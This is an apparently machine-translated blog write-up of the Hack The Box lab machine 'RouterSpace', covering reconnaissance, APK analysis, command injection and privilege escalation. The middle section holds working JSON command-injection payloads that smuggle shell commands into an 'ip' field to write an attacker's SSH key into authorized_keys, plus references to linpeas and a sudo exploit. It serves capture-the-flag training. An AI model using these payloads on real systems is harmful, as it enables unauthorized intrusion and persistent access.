当前位置:网站首页>Hack the box:routerspace
Hack the box:routerspace
2022-06-28 07:12:00 【zr1213159840】
First, the normal scanning ,nmap,masscan,whatweb All on .
nmap -Pn -A 10.10.11.148
masscan --ports 10.10.11.148
whatweb 10.10.11.148
Summarize the following information :
1. It's open 22 and 80 port 
2.whatweb The information is as follows :
3. Open the page to see 
The information summarized above is of little use , Look at the catalogue
dirsearch -u 10.10.11.148
Find these paths 
Enter any one and find , Will be blocked , The first idea at this point is to bypass , Tried various methods such as case , It is found that... Cannot be bypassed , Replaying and changing packages is no good .
The second idea comes from clicking on the download, The download path will be displayed , It will also be downloaded apk My bag .
Try to go beyond your authority , It's no use , Finished , I won't , It's swinging .
Since there are app Words , Why don't you download it and have a look , Use some apk Let's take a look at the analysis tools , It's using apkanalyser. You can download and use .
Create a new one apps Folder , Then parse the downloaded file , lookup url And so on , And nothing useful .
however , During operation , Found this , A little familiar 
routerspace.htb
Because I have been tortured too many times , I'm so impressed , edit hosts file , Then visit and try .
tmd, The original interface , There's no way to play .
No yes app Grab the bag ?
According to this link , install fiddler+ Night God Simulator , Download the app, Capture the package after installation .
https://blog.csdn.net/21aspnet/article/details/103977908
Interface 
The obtained package is from fiddler Transfer out , It can be found that there is only one request , Click on the image above check status Button .

After export, see the figure below 
Put in bp Try playing it again in 
Execute an order , Found to be able to perform !
Okay , Now there is room for operation .
My first thought is to read directly shadow File password cracking , But it is found that it cannot be echoed , Nothing there? .
passwd as well as group Files can be viewed ,sudoers no way 

Because it's open 22 port , Can you move it .ssh What about the documents ? Try it
Repackage
{"ip":"0.0.0.0|echo test >/home/paul/.ssh/123.txt|ls -al /home/paul/.ssh/"}
It is found that... Can be written 
It is the same as the previous target aircraft , We can modify it .ssh file , And then through ssh Log in . Refer to this link for principle steps
https://www.csdn.net/tags/OtTaQgwsMTk4MDctYmxvZwO0O0OO0O0O.html
Locally generated id_rsa file , Then write the contents of this file to the target plane .ssh Under the folder
Local kali perform
ssh-keygen -t id_rsa
cat id_rsa


Use bp Write target .ssh In the folder
{"ip":"0.0.0.0|echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBAxsuWvSvZCfCUmzJ5MMPv911a1pligTpQIo7M4RUMCDLKh4tA+bWIoOb72U5C6QBiFAnYaKRlmRqCnk5gS+WoKP4sI4ADln6or8u6+jqtW7qx+CGK9uG8p7du3TxN7KZw6YVrJxaASkPluKibgwEmqlVjHfWdwW0ZEJaqr/JFjqmEseKvVdWeFS6aq/m54rhlE8cQnYQg3csnO5I73/FSH1U1sOWir8fdht1zi19x5Yay+lWOBIYH/cNIBtE+Kw1br3OKmkcEhA9YV8K1wBh33AFrpwMrAD+PcsPmqYnav/r2raRA/LUrIXm8SmQsRgsW96DaBcUUMAP1DuJXo+dh0gb5BPCd2xa+chGZEjp3VuLI71K3u4d7ByHa60bRQ25SjK1OL6fo3TuSwCto5r5d16Ci1XG7k45YwB9jhhLLaOdbFyHzNxjQhUEVTkKoq1a5LvFjcD+ZS/4BN1yozD0TaCoY8CkgkGwOLc1hrgNsdZjH7zkI36/EwyMWASf9vE= [email protected]' >/home/paul/.ssh/authorized_keys|ls -al /home/paul/.ssh/"}
Modify the file permissions
{"ip":"0.0.0.0|chmod 700 /home/paul/.ssh/authorized_keys"}

stay kali On the login , Enter the drone
ssh [email protected] -i /home/kali/Desktop/id_rsa

Get the user's flag
The next step is to raise the right , Get root Of flag, Right to use linpeas.sh, This place is not for use wget, Although there are nc, But I can't connect , But I had to copy and paste , Stupid people have stupid ways .
Run after copying and pasting linpeas.sh
vi linpeas.sh
Paste the copy
./linpeas.sh

Pass the test , You can use an older version of sudo Raise the right 
Along sudo Right to find this link 
Copy and paste the contents of the following files , The right is directly raised successfully !
Get the final key
Refer to the following :
https://blog.csdn.net/weixin_45007073/article/details/123341343
边栏推荐
- Trie string statistics
- Techo day Tencent technology open day, June 28 online waiting for you!
- Techo Day 腾讯技术开放日,6月28日线上等你!
- R 语言绘制 动画气泡图
- Servlet value passing JSP
- okcc呼叫中心没有电脑的坐席能不能开展工作?
- Puge -- three basic sorting, bubbling, selection and quickness
- My MVVM open source project "travel epidemic prevention app" has been released
- MySQL installation steps - Linux configuration file JDK installation (II)
- Jinshan cloud team shared | 5000 words to understand how Presto matches with alluxio
猜你喜欢

看似简单的光耦电路,实际使用中应该注意些什么?

My MVVM open source project "travel epidemic prevention app" has been released
![[C language] detailed explanation of C language to obtain array length](/img/cf/75c314bb622b8a1745f43cc07cb02e.png)
[C language] detailed explanation of C language to obtain array length

MySQL installation steps - installing MySQL on Linux (3)

MySQL installation steps - how to create a virtual machine under Linux (1)

CRC32概述以及实现和使用

Comment la passerelle BACnet / IP recueille - t - elle les données du système central de contrôle des bâtiments?

金山云团队分享 | 5000字读懂Presto如何与Alluxio搭配

What is a consistent hash? What scenarios can it be applied to?

JS regular expression system explanation (comprehensive summary)
随机推荐
强化学习——格子世界
Self discipline challenge 30 days
Wechat applets - basics takes you to understand the life cycle of applets (I)
Principle and practice of bytecode reference detection
NDK 交叉编译
【C语言】详解 C 语言获取数组长度
R 和 rgl 绘制 3D 结
服务器正文18:UDP可靠传输的理解和思考(读云凤博客有感)
JS regular expression system explanation (comprehensive summary)
R语言绘制 ggplot2 季节性图
Leetcode+ 51 - 55 retrospective and dynamic planning topics
R 语言 ggmap
File header information cross reference table
R 语言 ggmap 可视化集群
Encyclopedia of scala operators
[rust translation] implement rust asynchronous actuator from scratch
Using interceptor and cache to complete interface anti brushing operation
Recommend several 0 code, free, learning and using visualization tools
C language tutorial
Cmake tips